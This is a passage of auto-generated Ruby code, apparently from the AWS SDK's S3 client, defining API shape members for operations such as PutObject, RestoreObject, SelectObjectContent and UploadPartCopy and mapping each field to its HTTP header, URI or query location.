PutBucketRequestPaymentRequest.add_member(:request_payment_configuration, Shapes::ShapeRef.new(shape: RequestPaymentConfiguration, required: true, location_name: "RequestPaymentConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketRequestPaymentRequest.struct_class = Types::PutBucketRequestPaymentRequest
PutBucketRequestPaymentRequest[:payload] = :request_payment_configuration
PutBucketRequestPaymentRequest[:payload_member] = PutBucketRequestPaymentRequest.member(:request_payment_configuration)
PutBucketTaggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketTaggingRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketTaggingRequest.add_member(:tagging, Shapes::ShapeRef.new(shape: Tagging, required: true, location_name: "Tagging", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketTaggingRequest.struct_class = Types::PutBucketTaggingRequest
PutBucketTaggingRequest[:payload] = :tagging
PutBucketTaggingRequest[:payload_member] = PutBucketTaggingRequest.member(:tagging)
PutBucketVersioningRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketVersioningRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketVersioningRequest.add_member(:mfa, Shapes::ShapeRef.new(shape: MFA, location: "header", location_name: "x-amz-mfa"))
PutBucketVersioningRequest.add_member(:versioning_configuration, Shapes::ShapeRef.new(shape: VersioningConfiguration, required: true, location_name: "VersioningConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketVersioningRequest.struct_class = Types::PutBucketVersioningRequest
PutBucketVersioningRequest[:payload] = :versioning_configuration
PutBucketVersioningRequest[:payload_member] = PutBucketVersioningRequest.member(:versioning_configuration)
PutBucketWebsiteRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketWebsiteRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketWebsiteRequest.add_member(:website_configuration, Shapes::ShapeRef.new(shape: WebsiteConfiguration, required: true, location_name: "WebsiteConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketWebsiteRequest.struct_class = Types::PutBucketWebsiteRequest
PutBucketWebsiteRequest[:payload] = :website_configuration
PutBucketWebsiteRequest[:payload_member] = PutBucketWebsiteRequest.member(:website_configuration)
PutObjectAclOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
PutObjectAclOutput.struct_class = Types::PutObjectAclOutput
PutObjectAclRequest.add_member(:acl, Shapes::ShapeRef.new(shape: ObjectCannedACL, location: "header", location_name: "x-amz-acl"))
PutObjectAclRequest.add_member(:access_control_policy, Shapes::ShapeRef.new(shape: AccessControlPolicy, location_name: "AccessControlPolicy", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutObjectAclRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutObjectAclRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutObjectAclRequest.add_member(:grant_full_control, Shapes::ShapeRef.new(shape: GrantFullControl, location: "header", location_name: "x-amz-grant-full-control"))
PutObjectAclRequest.add_member(:grant_read, Shapes::ShapeRef.new(shape: GrantRead, location: "header", location_name: "x-amz-grant-read"))
PutObjectAclRequest.add_member(:grant_read_acp, Shapes::ShapeRef.new(shape: GrantReadACP, location: "header", location_name: "x-amz-grant-read-acp"))
PutObjectAclRequest.add_member(:grant_write, Shapes::ShapeRef.new(shape: GrantWrite, location: "header", location_name: "x-amz-grant-write"))
PutObjectAclRequest.add_member(:grant_write_acp, Shapes::ShapeRef.new(shape: GrantWriteACP, location: "header", location_name: "x-amz-grant-write-acp"))
PutObjectAclRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
PutObjectAclRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
PutObjectAclRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
PutObjectAclRequest.struct_class = Types::PutObjectAclRequest
PutObjectAclRequest[:payload] = :access_control_policy
PutObjectAclRequest[:payload_member] = PutObjectAclRequest.member(:access_control_policy)
PutObjectOutput.add_member(:expiration, Shapes::ShapeRef.new(shape: Expiration, location: "header", location_name: "x-amz-expiration"))
PutObjectOutput.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location: "header", location_name: "ETag"))
PutObjectOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
PutObjectOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
PutObjectOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
PutObjectOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
PutObjectOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
PutObjectOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
PutObjectOutput.struct_class = Types::PutObjectOutput
PutObjectRequest.add_member(:acl, Shapes::ShapeRef.new(shape: ObjectCannedACL, location: "header", location_name: "x-amz-acl"))
PutObjectRequest.add_member(:body, Shapes::ShapeRef.new(shape: Body, location_name: "Body", metadata: {"streaming"=>true}))
PutObjectRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutObjectRequest.add_member(:cache_control, Shapes::ShapeRef.new(shape: CacheControl, location: "header", location_name: "Cache-Control"))
PutObjectRequest.add_member(:content_disposition, Shapes::ShapeRef.new(shape: ContentDisposition, location: "header", location_name: "Content-Disposition"))
PutObjectRequest.add_member(:content_encoding, Shapes::ShapeRef.new(shape: ContentEncoding, location: "header", location_name: "Content-Encoding"))
PutObjectRequest.add_member(:content_language, Shapes::ShapeRef.new(shape: ContentLanguage, location: "header", location_name: "Content-Language"))
PutObjectRequest.add_member(:content_length, Shapes::ShapeRef.new(shape: ContentLength, location: "header", location_name: "Content-Length"))
PutObjectRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutObjectRequest.add_member(:content_type, Shapes::ShapeRef.new(shape: ContentType, location: "header", location_name: "Content-Type"))
PutObjectRequest.add_member(:expires, Shapes::ShapeRef.new(shape: Expires, location: "header", location_name: "Expires"))
PutObjectRequest.add_member(:grant_full_control, Shapes::ShapeRef.new(shape: GrantFullControl, location: "header", location_name: "x-amz-grant-full-control"))
PutObjectRequest.add_member(:grant_read, Shapes::ShapeRef.new(shape: GrantRead, location: "header", location_name: "x-amz-grant-read"))
PutObjectRequest.add_member(:grant_read_acp, Shapes::ShapeRef.new(shape: GrantReadACP, location: "header", location_name: "x-amz-grant-read-acp"))
PutObjectRequest.add_member(:grant_write_acp, Shapes::ShapeRef.new(shape: GrantWriteACP, location: "header", location_name: "x-amz-grant-write-acp"))
PutObjectRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
PutObjectRequest.add_member(:metadata, Shapes::ShapeRef.new(shape: Metadata, location: "headers", location_name: "x-amz-meta-"))
PutObjectRequest.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
PutObjectRequest.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location: "header", location_name: "x-amz-storage-class"))
PutObjectRequest.add_member(:website_redirect_location, Shapes::ShapeRef.new(shape: WebsiteRedirectLocation, location: "header", location_name: "x-amz-website-redirect-location"))
PutObjectRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
PutObjectRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
PutObjectRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
PutObjectRequest.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
PutObjectRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
PutObjectRequest.add_member(:tagging, Shapes::ShapeRef.new(shape: TaggingHeader, location: "header", location_name: "x-amz-tagging"))
PutObjectRequest.struct_class = Types::PutObjectRequest
PutObjectRequest[:payload] = :body
PutObjectRequest[:payload_member] = PutObjectRequest.member(:body)
PutObjectTaggingOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
PutObjectTaggingOutput.struct_class = Types::PutObjectTaggingOutput
PutObjectTaggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutObjectTaggingRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
PutObjectTaggingRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
PutObjectTaggingRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutObjectTaggingRequest.add_member(:tagging, Shapes::ShapeRef.new(shape: Tagging, required: true, location_name: "Tagging", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutObjectTaggingRequest.struct_class = Types::PutObjectTaggingRequest
PutObjectTaggingRequest[:payload] = :tagging
PutObjectTaggingRequest[:payload_member] = PutObjectTaggingRequest.member(:tagging)
QueueConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: NotificationId, location_name: "Id"))
QueueConfiguration.add_member(:queue_arn, Shapes::ShapeRef.new(shape: QueueArn, required: true, location_name: "Queue"))
QueueConfiguration.add_member(:events, Shapes::ShapeRef.new(shape: EventList, required: true, location_name: "Event"))
QueueConfiguration.add_member(:filter, Shapes::ShapeRef.new(shape: NotificationConfigurationFilter, location_name: "Filter"))
QueueConfiguration.struct_class = Types::QueueConfiguration
QueueConfigurationDeprecated.add_member(:id, Shapes::ShapeRef.new(shape: NotificationId, location_name: "Id"))
QueueConfigurationDeprecated.add_member(:event, Shapes::ShapeRef.new(shape: Event, deprecated: true, location_name: "Event"))
QueueConfigurationDeprecated.add_member(:events, Shapes::ShapeRef.new(shape: EventList, location_name: "Event"))
QueueConfigurationDeprecated.add_member(:queue, Shapes::ShapeRef.new(shape: QueueArn, location_name: "Queue"))
QueueConfigurationDeprecated.struct_class = Types::QueueConfigurationDeprecated
QueueConfigurationList.member = Shapes::ShapeRef.new(shape: QueueConfiguration)
RecordsEvent.add_member(:payload, Shapes::ShapeRef.new(shape: Body, eventpayload: true, eventpayload_type: 'blob', location_name: "Payload", metadata: {"eventpayload"=>true}))
RecordsEvent.struct_class = Types::RecordsEvent
Redirect.add_member(:host_name, Shapes::ShapeRef.new(shape: HostName, location_name: "HostName"))
Redirect.add_member(:http_redirect_code, Shapes::ShapeRef.new(shape: HttpRedirectCode, location_name: "HttpRedirectCode"))
Redirect.add_member(:protocol, Shapes::ShapeRef.new(shape: Protocol, location_name: "Protocol"))
Redirect.add_member(:replace_key_prefix_with, Shapes::ShapeRef.new(shape: ReplaceKeyPrefixWith, location_name: "ReplaceKeyPrefixWith"))
Redirect.add_member(:replace_key_with, Shapes::ShapeRef.new(shape: ReplaceKeyWith, location_name: "ReplaceKeyWith"))
Redirect.struct_class = Types::Redirect
RedirectAllRequestsTo.add_member(:host_name, Shapes::ShapeRef.new(shape: HostName, required: true, location_name: "HostName"))
RedirectAllRequestsTo.add_member(:protocol, Shapes::ShapeRef.new(shape: Protocol, location_name: "Protocol"))
RedirectAllRequestsTo.struct_class = Types::RedirectAllRequestsTo
ReplicationConfiguration.add_member(:role, Shapes::ShapeRef.new(shape: Role, required: true, location_name: "Role"))
ReplicationConfiguration.add_member(:rules, Shapes::ShapeRef.new(shape: ReplicationRules, required: true, location_name: "Rule"))
ReplicationConfiguration.struct_class = Types::ReplicationConfiguration
ReplicationRule.add_member(:id, Shapes::ShapeRef.new(shape: ID, location_name: "ID"))
ReplicationRule.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, required: true, location_name: "Prefix"))
ReplicationRule.add_member(:status, Shapes::ShapeRef.new(shape: ReplicationRuleStatus, required: true, location_name: "Status"))
ReplicationRule.add_member(:source_selection_criteria, Shapes::ShapeRef.new(shape: SourceSelectionCriteria, location_name: "SourceSelectionCriteria"))
ReplicationRule.add_member(:destination, Shapes::ShapeRef.new(shape: Destination, required: true, location_name: "Destination"))
ReplicationRule.struct_class = Types::ReplicationRule
ReplicationRules.member = Shapes::ShapeRef.new(shape: ReplicationRule)
RequestPaymentConfiguration.add_member(:payer, Shapes::ShapeRef.new(shape: Payer, required: true, location_name: "Payer"))
RequestPaymentConfiguration.struct_class = Types::RequestPaymentConfiguration
RequestProgress.add_member(:enabled, Shapes::ShapeRef.new(shape: EnableRequestProgress, location_name: "Enabled"))
RequestProgress.struct_class = Types::RequestProgress
RestoreObjectOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
RestoreObjectOutput.add_member(:restore_output_path, Shapes::ShapeRef.new(shape: RestoreOutputPath, location: "header", location_name: "x-amz-restore-output-path"))
RestoreObjectOutput.struct_class = Types::RestoreObjectOutput
RestoreObjectRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
RestoreObjectRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
RestoreObjectRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
RestoreObjectRequest.add_member(:restore_request, Shapes::ShapeRef.new(shape: RestoreRequest, location_name: "RestoreRequest", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
RestoreObjectRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
RestoreObjectRequest.struct_class = Types::RestoreObjectRequest
RestoreObjectRequest[:payload] = :restore_request
RestoreObjectRequest[:payload_member] = RestoreObjectRequest.member(:restore_request)
RestoreRequest.add_member(:days, Shapes::ShapeRef.new(shape: Days, location_name: "Days"))
RestoreRequest.add_member(:glacier_job_parameters, Shapes::ShapeRef.new(shape: GlacierJobParameters, location_name: "GlacierJobParameters"))
RestoreRequest.add_member(:type, Shapes::ShapeRef.new(shape: RestoreRequestType, location_name: "Type"))
RestoreRequest.add_member(:tier, Shapes::ShapeRef.new(shape: Tier, location_name: "Tier"))
RestoreRequest.add_member(:description, Shapes::ShapeRef.new(shape: Description, location_name: "Description"))
RestoreRequest.add_member(:select_parameters, Shapes::ShapeRef.new(shape: SelectParameters, location_name: "SelectParameters"))
RestoreRequest.add_member(:output_location, Shapes::ShapeRef.new(shape: OutputLocation, location_name: "OutputLocation"))
RestoreRequest.struct_class = Types::RestoreRequest
RoutingRule.add_member(:condition, Shapes::ShapeRef.new(shape: Condition, location_name: "Condition"))
RoutingRule.add_member(:redirect, Shapes::ShapeRef.new(shape: Redirect, required: true, location_name: "Redirect"))
RoutingRule.struct_class = Types::RoutingRule
RoutingRules.member = Shapes::ShapeRef.new(shape: RoutingRule, location_name: "RoutingRule")
Rule.add_member(:expiration, Shapes::ShapeRef.new(shape: LifecycleExpiration, location_name: "Expiration"))
Rule.add_member(:id, Shapes::ShapeRef.new(shape: ID, location_name: "ID"))
Rule.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, required: true, location_name: "Prefix"))
Rule.add_member(:status, Shapes::ShapeRef.new(shape: ExpirationStatus, required: true, location_name: "Status"))
Rule.add_member(:transition, Shapes::ShapeRef.new(shape: Transition, location_name: "Transition"))
Rule.add_member(:noncurrent_version_transition, Shapes::ShapeRef.new(shape: NoncurrentVersionTransition, location_name: "NoncurrentVersionTransition"))
Rule.add_member(:noncurrent_version_expiration, Shapes::ShapeRef.new(shape: NoncurrentVersionExpiration, location_name: "NoncurrentVersionExpiration"))
Rule.add_member(:abort_incomplete_multipart_upload, Shapes::ShapeRef.new(shape: AbortIncompleteMultipartUpload, location_name: "AbortIncompleteMultipartUpload"))
Rule.struct_class = Types::Rule
Rules.member = Shapes::ShapeRef.new(shape: Rule)
S3KeyFilter.add_member(:filter_rules, Shapes::ShapeRef.new(shape: FilterRuleList, location_name: "FilterRule"))
S3KeyFilter.struct_class = Types::S3KeyFilter
S3Location.add_member(:bucket_name, Shapes::ShapeRef.new(shape: BucketName, required: true, location_name: "BucketName"))
S3Location.add_member(:prefix, Shapes::ShapeRef.new(shape: LocationPrefix, required: true, location_name: "Prefix"))
S3Location.add_member(:encryption, Shapes::ShapeRef.new(shape: Encryption, location_name: "Encryption"))
S3Location.add_member(:canned_acl, Shapes::ShapeRef.new(shape: ObjectCannedACL, location_name: "CannedACL"))
S3Location.add_member(:access_control_list, Shapes::ShapeRef.new(shape: Grants, location_name: "AccessControlList"))
S3Location.add_member(:tagging, Shapes::ShapeRef.new(shape: Tagging, location_name: "Tagging"))
S3Location.add_member(:user_metadata, Shapes::ShapeRef.new(shape: UserMetadata, location_name: "UserMetadata"))
S3Location.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location_name: "StorageClass"))
S3Location.struct_class = Types::S3Location
SSEKMS.add_member(:key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, required: true, location_name: "KeyId"))
SSEKMS.struct_class = Types::SSEKMS
SSES3.struct_class = Types::SSES3
SelectObjectContentEventStream.add_member(:records, Shapes::ShapeRef.new(shape: RecordsEvent, event: true, location_name: "Records"))
SelectObjectContentEventStream.add_member(:stats, Shapes::ShapeRef.new(shape: StatsEvent, event: true, location_name: "Stats"))
SelectObjectContentEventStream.add_member(:progress, Shapes::ShapeRef.new(shape: ProgressEvent, event: true, location_name: "Progress"))
SelectObjectContentEventStream.add_member(:cont, Shapes::ShapeRef.new(shape: ContinuationEvent, event: true, location_name: "Cont"))
SelectObjectContentEventStream.add_member(:end, Shapes::ShapeRef.new(shape: EndEvent, event: true, location_name: "End"))
SelectObjectContentEventStream.struct_class = Types::SelectObjectContentEventStream
SelectObjectContentOutput.add_member(:payload, Shapes::ShapeRef.new(shape: SelectObjectContentEventStream, eventstream: true, location_name: "Payload"))
SelectObjectContentOutput.struct_class = Types::SelectObjectContentOutput
SelectObjectContentOutput[:payload] = :payload
SelectObjectContentOutput[:payload_member] = SelectObjectContentOutput.member(:payload)
SelectObjectContentRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
SelectObjectContentRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
SelectObjectContentRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
SelectObjectContentRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
SelectObjectContentRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
SelectObjectContentRequest.add_member(:expression, Shapes::ShapeRef.new(shape: Expression, required: true, location_name: "Expression"))
SelectObjectContentRequest.add_member(:expression_type, Shapes::ShapeRef.new(shape: ExpressionType, required: true, location_name: "ExpressionType"))
SelectObjectContentRequest.add_member(:request_progress, Shapes::ShapeRef.new(shape: RequestProgress, location_name: "RequestProgress"))
SelectObjectContentRequest.add_member(:input_serialization, Shapes::ShapeRef.new(shape: InputSerialization, required: true, location_name: "InputSerialization"))
SelectObjectContentRequest.add_member(:output_serialization, Shapes::ShapeRef.new(shape: OutputSerialization, required: true, location_name: "OutputSerialization"))
SelectObjectContentRequest.struct_class = Types::SelectObjectContentRequest
SelectParameters.add_member(:input_serialization, Shapes::ShapeRef.new(shape: InputSerialization, required: true, location_name: "InputSerialization"))
SelectParameters.add_member(:expression_type, Shapes::ShapeRef.new(shape: ExpressionType, required: true, location_name: "ExpressionType"))
SelectParameters.add_member(:expression, Shapes::ShapeRef.new(shape: Expression, required: true, location_name: "Expression"))
SelectParameters.add_member(:output_serialization, Shapes::ShapeRef.new(shape: OutputSerialization, required: true, location_name: "OutputSerialization"))
SelectParameters.struct_class = Types::SelectParameters
ServerSideEncryptionByDefault.add_member(:sse_algorithm, Shapes::ShapeRef.new(shape: ServerSideEncryption, required: true, location_name: "SSEAlgorithm"))
ServerSideEncryptionByDefault.add_member(:kms_master_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location_name: "KMSMasterKeyID"))
ServerSideEncryptionByDefault.struct_class = Types::ServerSideEncryptionByDefault
ServerSideEncryptionConfiguration.add_member(:rules, Shapes::ShapeRef.new(shape: ServerSideEncryptionRules, required: true, location_name: "Rule"))
ServerSideEncryptionConfiguration.struct_class = Types::ServerSideEncryptionConfiguration
ServerSideEncryptionRule.add_member(:apply_server_side_encryption_by_default, Shapes::ShapeRef.new(shape: ServerSideEncryptionByDefault, location_name: "ApplyServerSideEncryptionByDefault"))
ServerSideEncryptionRule.struct_class = Types::ServerSideEncryptionRule
ServerSideEncryptionRules.member = Shapes::ShapeRef.new(shape: ServerSideEncryptionRule)
SourceSelectionCriteria.add_member(:sse_kms_encrypted_objects, Shapes::ShapeRef.new(shape: SseKmsEncryptedObjects, location_name: "SseKmsEncryptedObjects"))
SourceSelectionCriteria.struct_class = Types::SourceSelectionCriteria
SseKmsEncryptedObjects.add_member(:status, Shapes::ShapeRef.new(shape: SseKmsEncryptedObjectsStatus, required: true, location_name: "Status"))
SseKmsEncryptedObjects.struct_class = Types::SseKmsEncryptedObjects
Stats.add_member(:bytes_scanned, Shapes::ShapeRef.new(shape: BytesScanned, location_name: "BytesScanned"))
Stats.add_member(:bytes_processed, Shapes::ShapeRef.new(shape: BytesProcessed, location_name: "BytesProcessed"))
Stats.add_member(:bytes_returned, Shapes::ShapeRef.new(shape: BytesReturned, location_name: "BytesReturned"))
Stats.struct_class = Types::Stats
StatsEvent.add_member(:details, Shapes::ShapeRef.new(shape: Stats, eventpayload: true, eventpayload_type: 'structure', location_name: "Details", metadata: {"eventpayload"=>true}))
StatsEvent.struct_class = Types::StatsEvent
StorageClassAnalysis.add_member(:data_export, Shapes::ShapeRef.new(shape: StorageClassAnalysisDataExport, location_name: "DataExport"))
StorageClassAnalysis.struct_class = Types::StorageClassAnalysis
StorageClassAnalysisDataExport.add_member(:output_schema_version, Shapes::ShapeRef.new(shape: StorageClassAnalysisSchemaVersion, required: true, location_name: "OutputSchemaVersion"))
StorageClassAnalysisDataExport.add_member(:destination, Shapes::ShapeRef.new(shape: AnalyticsExportDestination, required: true, location_name: "Destination"))
StorageClassAnalysisDataExport.struct_class = Types::StorageClassAnalysisDataExport
Tag.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location_name: "Key"))
Tag.add_member(:value, Shapes::ShapeRef.new(shape: Value, required: true, location_name: "Value"))
Tag.struct_class = Types::Tag
TagSet.member = Shapes::ShapeRef.new(shape: Tag, location_name: "Tag")
Tagging.add_member(:tag_set, Shapes::ShapeRef.new(shape: TagSet, required: true, location_name: "TagSet"))
Tagging.struct_class = Types::Tagging
TargetGrant.add_member(:grantee, Shapes::ShapeRef.new(shape: Grantee, location_name: "Grantee"))
TargetGrant.add_member(:permission, Shapes::ShapeRef.new(shape: BucketLogsPermission, location_name: "Permission"))
TargetGrant.struct_class = Types::TargetGrant
TargetGrants.member = Shapes::ShapeRef.new(shape: TargetGrant, location_name: "Grant")
TopicConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: NotificationId, location_name: "Id"))
TopicConfiguration.add_member(:topic_arn, Shapes::ShapeRef.new(shape: TopicArn, required: true, location_name: "Topic"))
TopicConfiguration.add_member(:events, Shapes::ShapeRef.new(shape: EventList, required: true, location_name: "Event"))
TopicConfiguration.add_member(:filter, Shapes::ShapeRef.new(shape: NotificationConfigurationFilter, location_name: "Filter"))
TopicConfiguration.struct_class = Types::TopicConfiguration
TopicConfigurationDeprecated.add_member(:id, Shapes::ShapeRef.new(shape: NotificationId, location_name: "Id"))
TopicConfigurationDeprecated.add_member(:events, Shapes::ShapeRef.new(shape: EventList, location_name: "Event"))
TopicConfigurationDeprecated.add_member(:event, Shapes::ShapeRef.new(shape: Event, deprecated: true, location_name: "Event"))
TopicConfigurationDeprecated.add_member(:topic, Shapes::ShapeRef.new(shape: TopicArn, location_name: "Topic"))
TopicConfigurationDeprecated.struct_class = Types::TopicConfigurationDeprecated
TopicConfigurationList.member = Shapes::ShapeRef.new(shape: TopicConfiguration)
Transition.add_member(:date, Shapes::ShapeRef.new(shape: Date, location_name: "Date"))
Transition.add_member(:days, Shapes::ShapeRef.new(shape: Days, location_name: "Days"))
Transition.add_member(:storage_class, Shapes::ShapeRef.new(shape: TransitionStorageClass, location_name: "StorageClass"))
Transition.struct_class = Types::Transition
TransitionList.member = Shapes::ShapeRef.new(shape: Transition)
UploadPartCopyOutput.add_member(:copy_source_version_id, Shapes::ShapeRef.new(shape: CopySourceVersionId, location: "header", location_name: "x-amz-copy-source-version-id"))
UploadPartCopyOutput.add_member(:copy_part_result, Shapes::ShapeRef.new(shape: CopyPartResult, location_name: "CopyPartResult"))
UploadPartCopyOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
UploadPartCopyOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
UploadPartCopyOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
UploadPartCopyOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
UploadPartCopyOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
UploadPartCopyOutput.struct_class = Types::UploadPartCopyOutput
UploadPartCopyOutput[:payload] = :copy_part_result
UploadPartCopyOutput[:payload_member] = UploadPartCopyOutput.member(:copy_part_result)
UploadPartCopyRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
UploadPartCopyRequest.add_member(:copy_source, Shapes::ShapeRef.new(shape: CopySource, required: true, location: "header", location_name: "x-amz-copy-source"))
UploadPartCopyRequest.add_member(:copy_source_if_match, Shapes::ShapeRef.new(shape: CopySourceIfMatch, location: "header", location_name: "x-amz-copy-source-if-match"))
UploadPartCopyRequest.add_member(:copy_source_if_modified_since, Shapes::ShapeRef.new(shape: CopySourceIfModifiedSince, location: "header", location_name: "x-amz-copy-source-if-modified-since"))
UploadPartCopyRequest.add_member(:copy_source_if_none_match, Shapes::ShapeRef.new(shape: CopySourceIfNoneMatch, location: "header", location_name: "x-amz-copy-source-if-none-match"))
UploadPartCopyRequest.add_member(:copy_source_if_unmodified_since, Shapes::ShapeRef.new(shape: CopySourceIfUnmodifiedSince, location: "header", location_name: "x-amz-copy-source-if-unmodified-since"))
UploadPartCopyRequest.add_member(:copy_source_range, Shapes::ShapeRef.new(shape: CopySourceRange, location: "header", location_name: "x-amz-copy-source-range"))
UploadPartCopyRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
UploadPartCopyRequest.add_member(:part_number, Shapes::ShapeRef.new(shape: PartNumber, required: true, location: "querystring", location_name: "partNumber"))
UploadPartCopyRequest.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, required: true, location: "querystring", location_name: "uploadId"))
UploadPartCopyRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
UploadPartCopyRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
